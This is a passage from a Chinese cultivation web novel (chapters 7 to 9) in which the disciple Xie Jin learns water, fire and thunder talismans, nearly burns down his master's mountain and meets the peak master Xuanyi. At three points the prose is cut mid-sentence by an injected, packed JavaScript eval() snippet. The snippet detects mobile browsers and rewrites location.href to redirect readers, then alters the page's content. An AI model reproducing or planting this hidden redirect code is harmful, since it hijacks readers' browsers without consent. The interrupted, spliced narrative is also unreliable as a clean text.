这符道,也分为九品,下三品、中三品、上三品,而越是高级的灵符,修炼门槛也越高。 很不巧,谢槿是个练气二层,所以,他只能修炼下品符箓,而且仅限于符道书上的几种。 观整本符道书,中品灵符中最容易入手、也最不挑门槛的,也至少需要练气八层的修为。 谢槿从知识的海洋里缓过神,这次他十分确定,师父就是在为难他。三个月内画出一张中品灵符,也就是说要他三个月时间就从练气二层提升到练气八层,这怎么可能? 师父,徒儿做不到啊! 7. 第七章 再难的题,总有破题之法。 这是过去十几年读书时,谢槿的座右铭。三个月从练气二层到练气八层,他自己都没什么希望,可还有三个月,他也不能就这么放弃,符还不着急画,但总要先练功。 到今日得空,他才梳理起那套闻折柳直接传给他的入门功法,其中分为五大类,有符阵、丹药、剑法、术法以及一种心法,基本都没有名字。既然闻折柳管这叫入门功法,谢槿便将它们统称为初级功法。 师父说他剑脉太窄,剑道武道都走不远,说明他不适合体修的修炼之法,所以剑法这些他可以先不看了,先修炼那套无名心法。 至于剩下三类,符阵优先学习,因为他三月内必需要画出中品灵符。术法可以兼修,这是与符阵相通的,丹药得往后稍稍,他一没有丹炉药料,二来炼丹也需要基础。 剑法主修体,心法主修内。 这套无名心法,包含了谢槿白日与闻折柳谈过的身法踏雪寻梅,针对这套入门功法和符道书,谢槿作出了规划——主要修炼心法,兼修阵符术法,边提升修为边画符。 修为要同时提升上来,才能达到中品灵符门槛。 定好计划,谢槿便修炼心法。 初级无名心法,共分为九重,谢槿从第一重开始修炼,照着功法运转灵气几个周天,半日过去,身体熬了一夜的疲惫感就消失了。 难怪小说里修仙主角都会用打坐代替睡觉,一边修炼,一边恢复身体精力,是可行的。 再出门时,天色已晚。 谢槿在前殿转了一圈,果然没找到闻折柳,也没找到小黄鸟,上回的炎阳殿他没敢进。 那可是师父的地盘,万一再撞见师父在泡澡呢? 辟谷丹药效还在,谢槿半点也不饿,索性找出朱砂材料,在前殿找了张书案,坐下画符。 那中品灵符他现在想都别想,不过符道书上他目前能修炼的几种符法还是可以试试的。 一口气吃不成胖子,一步一步来,等他熟练了下品灵符,自然能慢慢解锁中品灵符。 谢槿挑了挑,选了引水符。 闻折柳说过他是水木灵根,入门功法中也有说明,五行灵根会更容易修炼五行道法,这引水符难度不大,正适合刚入门的修士。 而初级术法中的御水决,正好与引水符同修。据说修炼到一定境界时无需外物媒介也可凭空御水,不过谢槿现在显然还差得远。 有过画神行符时无数次失败的经验,谢槿没再抱着侥幸心理,不管有没有天赋都要认真学,先将引水符的符文练熟了再逐步来。 修炼这一道,没有任何道法会是简单的。就算只是描摹符文形状,下笔时也会偶有滞涩。 光是熟练符文,谢槿就用了三天,他耐着性子去练熟了这些,才将法咒与灵力融入符中。 第一张符,不出意外失败了。 谢槿早有预料,很快又静下心来,画了好几张引水符。终于在画到第九张时,引水符上灵光闪现,溢出些许灵气,看着是成了。 但谢槿也是头一回画得差不多,总得试一下,灌入灵气,符纸隐隐闪动了下,就没反应了。 谢槿心想他是照符道书上步骤来的,不能不成啊? 他犹豫了下,凑到符纸前。 万万没想到一股水冷不丁从符纸上喷出来,跟喷泉似的,说巧不巧,正好喷到谢槿脸上。 谢槿吐出一口水,“噗……” 想骂人的心情无法遏制。 他抹了把脸,捡起符纸,喷完大概半瓢水后,符纸上灵气已经消散,真正成了一张废纸。 你要说没成吧,它也真的引到水了,虽然是慢了一点,也少了一点,那水还滚烫着呢…… 等等,热水? 谢槿不认为他这道行能引来山外的水,他眨了眨眼,神情呆滞,慢慢转头看向后殿方向。 不会是温泉吧…… 谢槿心里的小人已经开始尖叫,手一抖丢开符纸,转头跑走了。他记得殿外不远就有一处山泉,提着灯找过去,先去洗了个澡。 洗完了,他也没好意思回去,万一这正是那温泉水,师父不会发现他引了他的泡澡水吧? 想到那不知来源的水,躺在松软红叶上的谢槿抬起手用白底红纹的袖子挡住脸,只露出一双在沐浴后水光潋滟的桃花眼,望着天上瑰丽星河运转,心中也慢慢平静下来。 揽月宗的星星与人间也不大一样,天空更广阔、离他更近、更美,仿佛一伸手就能触及。 在殿外过夜不安全,谢槿等了小半个时辰,没发现师父的身影,便鬼鬼祟祟回了房间。 这一夜,闻折柳也没回来。 谢槿在房里修炼心法到半夜,天亮后便又去画符,不过这回是带着东西到了红叶林里。 总结了昨夜那张引水符可能成功的点,谢槿再次画符,一笔成符,也引来了山中泉水。 谢槿把经验记在自己的小本子上面,又将引水符画到熟练,才换成了下一种,引火符。 引水符合引火符都属于同级下品灵符,但先学引水符再学引火符,主要是谢槿怕他把山头点着了,到时闻折柳一定会赶他下山! 为了避免烧山,谢槿将画符的地方换到山泉旁边。 修炼引火符时,谢槿比之前更谨慎,也花费了更多时间,结合符道书和入门功法中的基础符法分析引火符的原理,足足五日才练熟了符文,搓出来打火机那样的小火。 多日来都用辟谷丹充饥的谢槿第一时间带着他的打火机符烤了野兔。他这些天抽空探索了大殿周边几里的林子,发觉大殿周边还是很安全的,只有一些小型动物,而且有灵气的很少,野兔子还不是一般多。 避免野兔泛滥成灾,他帮忙消灭一只,就是烤得有点焦,不如家中厨房老王头的手艺。 略微怀念了一下人间的家,谢槿便又琢磨起符道来,想把这打火机似的小火搞大一点。 分析了这样那样的原理之后,谢槿搬着画符材料到了山泉边的平地,接着钻研引火符。 引火符用处可大可小,小,可以用来点火,大,可以用作斗法攻击。虽然只是符法基础,可万一能搓出很大或是很多的火球呢? 有了目标,谢槿画符时更用心,一张张引火符试过去,总算从豆大小火搓成巴掌大的火球。 谢槿点了点头,在本子上记下这次把控的灵力,便又提笔沾了沾朱砂,凝灵力于笔尖。 “再来一张试试看。” 符画多了,一笔就能成,最后收笔时,纸上朱砂隐隐亮起一簇火光,又隐没于灵光之中。 这一张符,谢槿灌注了不少灵力,画完的那一刻他就能感觉到这是自己目前最好的作品。 所以捧起符纸时,谢槿都有些小心翼翼的,不太舍得用,可也必须灌注灵力激活引火符。 轰的一声,一团巴掌大的火球在山泉上空燃起,火焰如日光便灼热耀眼,却是小了些。 谢槿想不通。 他灌注的灵力明明多了很多。 就在这时,火球又轰一下,分出了两团、三团。 谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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谢槿看着眼前林中燃起的大火,心知自己闯大祸了,得赶紧想办法补救,眼前忽而一亮。 “御水决!” 入门功法里的初级法术之一的五行法术,同样可以操控水,而且比起引水符要更加高级! 谢槿捏起最后一张引水符,回顾起御水决,照葫芦画瓢掐诀结印,一边借用自己水木灵根对水属性灵气的亲近,感悟山中泉眼。 这么大的火,一个小小的泉眼,只怕没法扑灭! 山上哪里还有大一些的池子? 山中火势越发大了,离着大殿不远,远远看去,叫这座遍布红叶的高峰更添几分明艳。 炎阳殿温泉中,闭目小憩的闻折柳耳边传来急促的鸟叫声,吵得他直皱眉,眼睛还没睁开就一巴掌兜住扑腾到脑袋上的小黄鸟。 “吵什么,又饿了?” 他睁开一双浅褐色的眼睛,幽幽望向手掌里的小黄鸟。小黄鸟羽毛都被他湿哒哒的手弄湿了,蔫蔫耷拉下来,气得冲他叽叽叫。 闻折柳不以为意,“再吃下去,当心胖成一颗球。” 小黄鸟气得一头撞上他在水中袒露的胸膛,也无法撼动闻折柳半分。闻折柳轻嗤一声,正欲开口,池子里的水忽然涌动起来,在他眼皮下形成漩涡,转眼少了一大半。 闻折柳悠闲的神色一下子变得古怪,“什么动静?” 眼看温泉水瞬间抽走大半,隐隐还有灵力波动,闻折柳踏水而出,捡起架子上的红袍披上,一手捞起小黄鸟闪身出了殿中,他踏空而行,立于炎阳殿屋顶上放出神识。 下一瞬,闻折柳的脸色变得越发古怪,身影化为一道剑光飞出,寻到一处林子。林中浓烟滚滚,正往天上飘去,没见火焰,只找到了一个被熏成花脸猫似的落汤鸡。 闻折柳沉默须臾,抬手一挥,剑气化为清风吹散浓烟,他才带着手里的小黄鸟御剑落地。 “谢槿……你在干什么?” 8. 第八章 听到这个声音,正被熏得难受咳嗽的谢槿脊背一僵,慢慢转过身来,尴尬地冲他笑了笑。 “师父,您回来了?” 红衣少年一脸黑灰,衬得牙齿格外白,也格外滑稽,闻折柳脸色微变,转身御剑飞走。 “收拾一下,回来交待。” “……是,师父。” 谢槿听不出闻折柳的语气到底有没有生气,反正他是挺心虚的,结果还是惊动了师父啊。 再看这狼藉山林…… 谢槿抹了把脸,欲哭无泪。 片刻后,谢槿回房换了身衣裳,湿透的长发无法束起,只能这样披着赶到前殿,一看见高座之上一身红衣的闻折柳,立马跪下。 “师父,我错了。” 闻折柳瞥了眼耷拉着脑袋跪在下面的小徒弟,眼底闪过一丝笑意,才放过了被他捏扁搓圆的小黄鸟,翘起腿靠坐在身后椅背上。 “控火术是吧?” 谢槿愣了下,抬头看向闻折柳的眼神仿佛在说你怎么知道,很快又收敛起来,低头说:“师父英明,徒儿正是寻思着能否同修引火符与控火术,没想到会……徒儿已经知错了,师父要怎么罚,徒儿都认。” 闻折柳指尖轻点扶手,“你寻思一下,就差点把我山头给烧了,要是再寻思一下还得了?” 谢槿自知有错,可为了留在山上,也不得不狡辩一下,“徒儿已经尽力引来泉水救火了……” “哦,是吗?” 闻折柳俯身看向他,浅褐色眼底似有几分不悦,“那你可知道,你是从何处引来的水?” 谢槿睁着一双桃花眼装出无辜神情,他真的不知道。 闻折柳顿了顿,又坐回去,抓起蹲在另一边扶手上用鸟喙梳理羽毛的小黄鸟,放在手心里揉了揉,似笑非笑道:“行,你闯下大祸,本座怎么罚都行,那你下山去吧……” 他这话还没说完,谢槿便掐着大腿挤出了一点泪花,睁着一双湿漉漉的桃花眼看着他。 “师父,三月之约还没结束。” 装得再可怜,话语还是气人的,闻折柳看着他这副可怜面孔,眼底趣味更浓,“三月之约啊?现在快过去一旬了,你能画出中品灵符了吗?要是做不到,你还是得下山。” 就知道师父为了让他下山去外门绞尽脑汁!谢槿嘴上不敢有怨言,还眼巴巴地看着他道:“可是师父,三个月,也未免太短了。” 闻折柳反问:“那你还想要半年?” 谢槿暗喜,“可以吗?” 闻折柳一口否决,“不行。” 谢槿顿感失望,满眼祈求地看着闻折柳,“徒儿尽力就是。在这之前,我能不下山吗?” “不行。” 闻折柳还是那句话,“本座的灵酒喝完了,你下山取去,本座只要冰心玉壶,别的不要。” 谢槿愣了下,眼底涌出喜色,忙不迭抱拳应下。 “是,徒儿这就去。” 赶在闻折柳改主意之前,谢槿立马爬起来就走,可刚走出没两步,闻折柳的声音又在身后慢悠悠的响起,“等等,东西留下。” 谢槿缓缓回头,神色迷茫。 “什么东西?” 闻折柳道:“你烧山的符纸。” 那张引火符已经用过,而且废了。谢槿不知道他这是什么意思,取出符纸时还是有些迟疑,也不敢不给,低着头双手奉上符纸。 闻折柳一抬手,那符纸便落入他手中,“走吧,本座几日不在,你就差点将本座的山头给烧了,从明日起,本座会盯着你修炼。” 只要不是赶下山都好说。 谢槿拱手应是,转身退下。 这回闻折柳没再叫他,走出大殿时,谢槿紧绷的身体才放松下来,取出玉牌往下山走。 而他一走,殿中的闻折柳看着那张废符琢磨了两眼,随手一动,便将其捏碎成了齑粉,捏住小黄鸟要啄他的鸟喙,低声笑起来。 “还以为这小子真的天不怕地不怕,方才不是挺会装可怜的吗?看来也没有那么呆。” 下山去福德堂的路,一回生两回熟。这次还是在白日,林长老不在,谢槿凭玉牌从林大那里拿到了师父要的灵酒,又打听到了外门所在,去外门的饭堂取了些糕点。 修炼了无名心法和提速身法,上山下山速度大幅提升,也不那么累。谢槿去时不在饭点,外门弟子或在修炼或在做事,他就只是在路过灵田时远远地瞥了一眼外门方向。 赶在黄昏时回到山上,前殿果然又不见闻折柳人影,对这位神出鬼没的师父谢槿已经习惯找不到人了,也不打算闯入师父后殿的地盘,将那灵酒放在前殿便回房了。 他得好好复盘一下今日的失误,看看是哪里错了。 修炼半宿,休息半宿,一夜过去,谢槿早早醒过来,整理好衣襟束起长发,便出了门。 前殿没瞧见闻折柳,他便自觉跑到红叶林去找。 果然,闻折柳就在老地方。 谢槿上前行礼,“师父。” 闻折柳侧躺在他上回画符的那块石头上,一手支着下颌,一手捧着一卷书,谢槿昨日取来的灵酒就放在他一伸手就能拿到之处。 多日不见的小黄鸟向来是跟在闻折柳身边的,这小黄鸟似乎格外爱晒太阳,正蹲坐在酒壶边,在日光下悠闲地用鸟喙梳理羽毛。 谢槿偷看小黄鸟时,闻折柳看也没看他一眼,自顾自翻着书卷,随口应了一声,“你自己修炼就是,本座还没教过筑基以下的弟子,你要是琢磨不明白,就去外门打听。” 没有他指点的话,谢槿不免有些失望,又有些好奇,“师父只教筑基期以上的弟子吗?” 闻折柳放下书卷看向他,依然是慵懒又大方地袒露着衣襟下的小片胸膛,语气也颇随意。 “不会啊,我没有徒弟。” 他说完又改口,“现在算你一个,我从来不教人修炼,就算是化神期的来了,我也不教。” 吹牛。 谢槿心下嘀咕完,又拱手道:“那徒儿去修炼了?” 或许是对他的态度有些不满,闻折柳看着他啧了一声,不大高兴地挥了挥手,继续看书。 师父脾气怪怪的,怎么总是莫名其妙的就生气了? 谢槿也想不通,在林子里找了一片空地,便取出储物袋里的一方小书案,又一一将朱砂等画符材料放上,才在层层松软的枫叶上跪坐下来,期间闻折柳似乎看了他一眼。 谢槿一点不觉得自己的准备工作花里胡哨,正要拿起朱笔,又悄悄看了小黄鸟一眼,在袖子里取出来一个巴掌大的布袋,将其打开放到书案一角,里面是几块软糯糕点。 做完这些,他才提笔。 小黄鸟鼻子果然很灵敏,没一会儿,就从闻折柳那里飞过来,蹲在了书案一角,豆豆眼看了看谢槿,又往布袋方向挪了几步。 谢槿计划得逞,也没忘记看向闻折柳那边,见师父没反应,便伸出一根手指将布袋往小黄鸟那边推了推,正好推到小黄鸟跟前。 小黄鸟既不叫也不躲,鸟喙在谢槿手背上轻轻一碰,便叼起一块糕点,飞回闻折柳身边。 谢槿会心一笑,这算是他和小黄鸟之间的约定吧? 灵宠易主,指日可待! 大抵是察觉到谢槿还没动笔,闻折柳忽然轻咳一声,语气听去有些不悦,“还想下山?” 谢槿收敛起他的小心思,垂头应道:“徒儿这就画符,不过……若是徒儿无法控制灵符威力,不慎波及山林,能否请师父相助?” 闻折柳只应一字,“可。” 他答应了,谢槿也就放开修炼了。 笔锋一转,凝灵力于纸上画出一笔。 “师父,我寻思着,这引火符威力可大可小,所以我想试试,我究竟能搓出多大的火球。” 话音落下,引火符已成。 谢槿不假思索注入灵力,只听轰然一声,一团火球便在他面前出现,比昨日的火球大了一点。没等闻折柳回应,谢槿便掐起控火术法诀,有意识的引导火球分化开来。 火球一顿,重现昨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15105387|163850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日奇状。 谢槿一边运转控火术,一边说出后话,“徒儿还想试试控火术的威力,有劳师父护法!” 闻折柳拧眉看来时,火球又添做五团,山风一吹,热浪被带到闻折柳和小黄鸟面前来。 衣摆长发被热风卷起,闻折柳不得不放下书卷。 “你小子……” 他刚说完,那五团火球再次分化,居然又多了两团,温度越发滚烫,谢槿双眼却更亮了。 可七团火球不是那么容易控制的,其中几团隐隐有些飘忽,谢槿一不留神,便往外飘去。 眼看就要飘入林中,闻折柳坐起来,谢槿却先抛出一张引水符,引水天降,泼灭火球。 闻折柳轻哼一声,躺回去看书。 谢槿稳住剩余火球,将其融合,融合后的火球比先前要大许多,差不多有一个灯笼大小,但谢槿毕竟只有练气二层,控火术不熟练,手一抖,大火球便朝他扑过去。 谢槿急道:“师父!” 闻折柳头也没回,摆摆手,火球噗一声就灭了。 谢槿甚至没有感觉到灵力波动,睁大眼睛看着闻折柳,眼眸一转便坐回去,也不气馁,在本子上记下失败的原因,继续画符搓火球。控火术是最基本的五行术法之一,与引火符相通,将控火术修炼到极致,不仅可以搓出火球,还能搓出火龙。 谢槿跃跃欲试。 一整日下来,闻折柳书没翻上几页,光是给谢槿灭火了,好不容易在黄昏时,谢槿搓出了一个大火球,结果在搓成泥鳅形状时失控,谢槿来不及扑灭,让那火泥鳅追着跑,转头一看,闻折柳居然睡着了! 说好的看着我修炼呢? 谢槿脚步一转,带着几分恶意跑向闻折柳那边。 “师父救我!” 闻折柳拿下盖在脸上的书卷,眼睛还没睁开,抬手打了个响指,火泥鳅当即影都没了。 谢槿眼睛亮起来,好帅! 想学这个! 大抵是起床气,闻折柳雪白的脸上脸色并不很好,目光幽幽看向躲到他身后来的谢槿。 “好玩吗?” 好玩的。 谢槿不敢说,几次相处,他看出闻折柳在意什么,便眼巴巴道:“我下山给师父打酒?” 闻折柳瞥他一眼,又看向天边暮色,便拎起酒瓶起身,仰头饮了一口透着霜气的灵酒液。 “天黑了,回去。” 谢槿道:“徒儿不累。” “我累。” 闻折柳往回走去,一抬手,偷偷蹲在书案上啄着布袋里点心碎的小黄鸟便落入他掌心中。 谢槿看得很是羡慕,既羡慕闻折柳这样的修为,又羡慕闻折柳可以随时吸可爱的毛团。 他回头收起书案上的材料,小跑追上闻折柳。 “师父,你说我剑脉太窄,不适合修炼剑道,但若是我非要勉强,可能修炼出什么成就?” 闻折柳随手就将小黄鸟塞到衣襟里,只露出个毛绒脑袋,仰头灌了口酒水,语气淡淡。 “不会怎么样,不过花费别人三五十倍的努力,得到一个别人三五年就能炼成的成就。” 啊这…… 谢槿有点被打击到,又亦步亦趋地追问道:“那若是,徒儿修炼其他道法,总不能三五十年过去,头发都白了,还不能筑基吧?” 闻折柳抹去绯红唇角的酒水,微眯起眼望向他,似含着笑,“那时你就该是外门弟子了。” 纵然师父长得好看,但师父还是不要开口的好。 谢槿摸摸心口安抚自己,垂头道:“徒儿知道了。” 修仙界还是太真实了。 闻折柳轻哼一声,“好好修炼,我最多等三个月。” 谢槿闷闷应声,没再跟上,等闻折柳回了殿中,他又恢复信心。剧情里跟主角攻不对付的二师弟一直都是赤月峰弟子,现在剧情还没开始,他就不信他能被逐出山门! 原文里的反派二师兄都能让师父死心塌地地护着他,谢槿心想,既然他可以,我也可以! 9. 第九章 从闻折柳开始盯着谢槿修炼这天开始,红叶林中频繁响起‘师父救命’的声音,火球搓得一天比一天大,火泥鳅一天天变成了各种模样。而闻折柳也从一开始偶尔有些不耐烦,到听到谢槿求救便抬手打响指扑灭火势,也一天天炼成了肌肉记忆。 他甚至都不用睁眼,灭完火,就放下手接着睡。 小黄鸟也不怎么管,每日来这里蹭点心吃,让谢槿偶尔趁机摸一把,就回去找主人睡觉。 一人一宠天天都在睡! 不过一个引火符和控火术又能修炼多久,等谢槿控火术几乎精通时,便换了下一种灵符。 但闻折柳依然没能放松下来,因为这次是引雷符。 雷跟火比起来,也好不到哪里去,而且谢槿还不会收雷,一旦失控就会往他身边跑去。 往日还算宁静的赤月峰上,天天炸雷,闹得鸡飞狗跳,大殿周边的动物几乎都跑光了。 闻折柳自己答应过要看着谢槿修炼,唯有在他每次寻求帮助的时候,抬手放出结界避雷。 或许师父在半夜睡不着时,也会坐起来骂他两句吧? 修炼引雷术那几天,谢槿在师父偶尔古怪的眼神中感悟出这一点,但是没有半点忏悔。 可恨引雷术之艰难,叫谢槿花了近一旬才熟练。 闻折柳解放了。 符道书上谢槿能学的下品灵符,从引水符到引火符到再引雷符,最后只剩下了幻灵符。 幻灵符属于法阵类,可以跟法阵基础一起修炼。 闻折柳不需要再盯着谢槿了,只需要在每日天黑前将他从他布下的初级迷阵中捞出来。 学会前三种灵符后,兼顾入门功法中初级功法里的御水决、控火术、驭雷术后,谢槿也将无名心法修炼到了第二重入门,修为有了小小的提升,真的只是小小的一点。 从练气二层,到练气三层。 离三个月目标,也就是画出中品灵符最低门槛的练气八层,只剩五层的差距,可喜可贺。 问题是,一个月快过去了。 再一次被幻阵困住,谢槿干脆盘腿坐在迷雾之中,开始思考他的进度,会不会太慢了? 没等他找到新出路,迷雾便散开了,满天霞光映在遍地红叶上,也不及闻折柳衣袍鲜艳。 “出来。” 听到熟悉的声音,谢槿轻叹一声,起身走出来。 “多谢师父,又救我一命。” 闻折柳瞥他一眼,“还装?” 谢槿早知师父说话不好听,从容行礼,“弟子事师,敬同于父。师父传徒儿功法,授徒儿长生之道,徒儿是真心敬重师父的。” “不想听,少说废话。” 闻折柳评价完,喝着他最爱的冰心玉壶往林子外走去,小黄鸟似乎困了,恹恹蹲在他肩上。 谢槿先收了他的符,才跟上去,虚心请教,“师父,徒儿近日感觉丹田内灵力充沛,好像又要突破了,要是每个月都能提升两层,那三月内提升到练气八层也就有望了。” 他说这些,在闻折柳听来,就好像是一个幼儿园小朋友在他面前说他可以从一加一学到一加三了,闻折柳果然没有半点共情。 “不到筑基,我不会教你剑法。” 谢槿心说又吹牛,不过上回说连化神期都不教,至少现在能降到筑基,已经是打骨折了。 “师父说的是,徒儿会努力的。” 他瞥见枫树下有一张符纸飘扬,便走近一看,确定之后将其捡起来,“这不是我的符吗?” 闻折柳回头看他,肩上的小黄鸟也在同时扭过头。 一人一宠太过同步,谢槿差点笑出声,举起符纸。 “我今日应当没走到这里,不过这符已经用过了。” 没触发过的符,灌注的灵力自然还在,但这张符完全没有灵力,符文也已经褪色模糊了。 闻折柳问:“所以?” 谢槿也说不出所以然,“可能是山里的小兔子吧?” 闻折柳不置与否,转身就走。 谢槿知道师父的脾气,也就没在这事上多想,揉皱了符纸扔到树下,正要跟上,前面的闻折柳忽然站定,一声轻斥,一道锋锐又炙热的力量自他袖中而出,震彻山林—— “出来。” 这股力量比谢槿此前所画的什么火符雷符都要强大千倍万倍,他站定原地,感觉自己正同随林中落叶一般被绞成粉末,有种濒死的错觉,才后知后觉这是一道剑气。 是化神真人的剑气! 未等谢槿回神,那剑气所向的红叶林中便滚出来一道人影,踉跄着扶住枫树才堪堪站稳。 那是个二十出头的年轻人,一身黑袍,依稀也绣着月亮,一手提着剑,嘴里却叼着根草。 甫一落地,这黑袍青年便吐了嘴里的草,拍着身上的泥泞和碎叶,没好气地瞪向闻折柳。 “那么凶干什么,还以为你窝在山上养了一个月徒弟脾气能好点,没想到还是那臭脾气!” 谢槿缓过神,转眼看向自家师父,听起来认识? 闻折柳反应冷淡得很,“玄意,你来干什么。” 谢槿闻言越发好奇。 真认识啊。 那名唤玄意的年轻人抱怨完气就消了,笑嘻嘻背着剑上前,“我来看你啊,忘忧师兄,大家都在赌你多久会把那小徒弟扔下山呢,没想到一个月过去了,人还在山上。” 他上来就想拍闻折柳肩头,闻折柳转身避开,往大殿方向走去。谢槿见状也绕过玄意跟上去,不过闻折柳没搭理这个玄意,玄意反倒盯上了谢槿,笑眯眯凑近过去。 “你就是奉剑师兄叫人带回来那个小娃娃吧?他们都说一你看就是个知书达理好脾气的,可我方才看你,分明就是个受气包,他都不教你剑法,你干嘛要留在山上?” 谢槿先看了看师父,见他半点反应没有才开口:“弟子赤月峰谢槿,不知前辈如何称呼?” 玄意看他应答莫名兴奋,一把揽上他肩头,“我乃玄月峰峰主玄意真人,你该叫我师叔!” 谢槿有些招架不住这人的热情,从他咯吱窝下钻出来,一脸正经拱手行礼,“只听闻揽月宗有九峰,还未去拜见过各位师伯师叔。原来是玄意师叔,师侄方才失礼了。” “免礼免礼!你师父不带你出门见人,怪他不怪你。”玄意摆摆手,闷哼一声,冲着闻折柳的背影说他的坏话,“这家伙从前天天打架,几个月前刚跟掌门师兄干了一架,大家躲他都来不及,连奉剑师兄都躲出去了,你居然拜他为师,你惨了。” 师父跟掌门干过架? 谢槿突然回想起自己在到揽月宗的那一天,万长老和另一位外门长老那语焉不详的对话…… 所以,来赤月峰那天万长老走的那么匆忙是在害怕? 谢槿恍然大悟,可又觉得玄意说的不对劲,毕竟师父还在,做徒弟的总得维护师父的。 “玄意师叔此言差矣,来揽月宗前奉剑师伯曾几番叮嘱,让我照看好师父。不管旁人如何,奉剑师伯的心一定是向着师父的。” 闻折柳闻言哼笑一声。 谢槿耳尖微动,也不知道自己是说对了还是说错了。 玄意却是一脸担心谢槿的神情,抬手拍上他肩头,“小谢槿,你要是被人挟持了就眨眨眼?” 谢槿:…… 谢槿笑容真诚,绝不眨眼。 “玄意师叔误会了,谢槿字字句句皆发自内心。” 听到这话,玄意看他的眼神仿佛在看一个不可理喻的呆子,他摇头叹气,“难怪你能在赤月峰待那么久,闻折柳一个只会拿剑砍人的,弟子又怎么会学什么画符布阵,一天到晚不干正事?原来你是个傻的。” 你才是个傻的。 谢槿皮笑肉不笑,心道反弹! 前面的闻折柳总算开口,听着语气似乎有几分笑意,“你到底来干什么,再废话就滚下山。” 玄意见他搭理自己了,立马丢开谢槿,凑到他身边小声嘀咕,“我来找你,当然是有正事了!你上回干了那一架,休养好了没有?要是能打了就跟我去福德堂干一架!” 谢槿眉心一跳。 这师叔听起来是个刺头啊,不会真把师父带走吧? 闻折柳也回得爽快,“没兴趣。” “为什么?” 玄意继续激动游说,“你就站在那里,不动也行,给我吓一吓那帮人,还有他们背后的陈明礼,凭什么他们要什么都给,我要什么都不给?他们就是欺负我师父不在!” 闻折柳只道:“找你师兄师姐。” 玄意眼神幽怨,抱住他手臂。 “他们不管……忘忧,你帮帮我,你就是我亲哥!” 闻折柳看都不看他一眼,偏头瞥向山外,“你走吧。” 玄意还要再说,却被闻折柳抓住手背,他顿感手掌一麻,而后一阵无形之力便将他推开。 力道虽轻巧,却是一巴掌将他拍到了天上,只剩下玄意气急败坏的声音回荡在天边—— “可恶!闻折柳你给我等着!” 谢槿望向暮色中远去的黑影,心里发出哇哦的声音。 闻折柳恰好回头看来,“笑什么?” 谢槿本想收敛笑容,想了想便坦然一笑,“这位师叔挺有意思的,不过玄月峰在哪里?” 闻折柳反问:“想下山了?” 谢槿立马收起他的好奇心,“我觉得赤月峰挺好的。” 闻折柳又是一笑,他的笑点在谢槿看来总是很奇怪,也总是猜不透。闻折柳也不等他猜透,便饮着酒走上通往大殿的台阶路。 “揽月宗三脉,分为三阳剑脉、春秋玄功、玉阳心决,揽月宗九峰峰主皆出自三脉真传,但半年前,揽月宗只有三峰,月诸峰、恒月峰、隐月峰,其他都是新掌门继位后分出来的,玄月峰就是离赤月峰北边那个山头,跟赤月峰一样没什么人。” 山上视野开阔,经闻折柳提点,谢槿一眼就找到了玄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15105388|163850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 月峰所在,确实比其他山峰离赤月峰更近些,看上去郁郁葱葱,鲜有人烟。 谢槿犹豫了下,又问:“那师父和掌门也都是三阳剑脉的师兄弟了?可玄意师叔说……” 听谢槿说到一半又不说了,闻折柳回头瞥他一眼。 “想说什么?” 谢槿也在观察闻折柳的反应,看他也不像是有什么避讳的样子,才问:“师父和掌门当真曾经大打出手吗?若是师父与掌门之间关系当真如此僵硬,徒儿也是怕以后万一跟月诸峰有交际,会让师父不高兴。” 闻折柳嗤道:“你跟月诸峰有交际,跟我和谁打架有什么关系?你看我被逐出揽月宗了吗?” 谢槿眼前一亮,“徒儿明白了。” 也就是说,师父跟掌门两个人打打闹闹是有的,但关系没那么坏!不然跟掌门闹掰的话,还真不知道该怎么在揽月宗待下去了。 闻折柳忽然又看了谢槿一眼,若有所思,“奉剑师兄应该能看出来你不适合学剑,按理来说,你就是进玄月峰跟玄意那个傻子修习玉阳心决,也比来赤月峰学剑法强。” 谢槿一听这话立马警觉起来,“师父莫非又忘了三月之约?现如今才过去不到一个月啊。” 闻折柳挑起眉梢,转头又饮了一口酒,嗓音有些含糊,“你就是去玄月峰,那傻子也不会教你玉阳心决,说不定你比他还学得快。” 谢槿没听清,“什么?” 闻折柳却没再说下去,摆手道:“你下回见了面问他就是了,天黑了,回去睡觉。”他说着站定在谢槿上方几个台阶,双眸盯向他,晃了晃手里的酒瓶,“酒要没了,明日十五,你去福德堂领月例,记得带酒。” 谢槿只得应是,心下腹诽就知道除了那一壶冰心玉壶,师父压根不会对任何事有兴趣! 闻折柳笑了一声,御剑走了。 “记得就好。” 看他踩着剑光咻一下飞走,谢槿暗暗撇嘴,自顾自往山上爬。与其去想揽月宗九峰之间的纷争,他更该担心的是自己能不能留在赤月峰,今日的阵法也该复盘一下了。 怎么会能布阵,不能出去呢? 隔日是去领月例的日子,谢槿起来没见到闻折柳,就知道他不会出现了,带上赤月峰玉牌下山去福德堂,领这个月份例和灵酒。 今日也是内门弟子发月例的时候,福德堂另外两扇大门全打开了。不过福德堂里的人却着实算不上多,因为九峰新立,整个内门除了记名弟子和九峰内门长老的徒弟,就只有两名真传弟子,谢槿今天没碰到大师兄,却碰到了月诸峰的记名弟子。 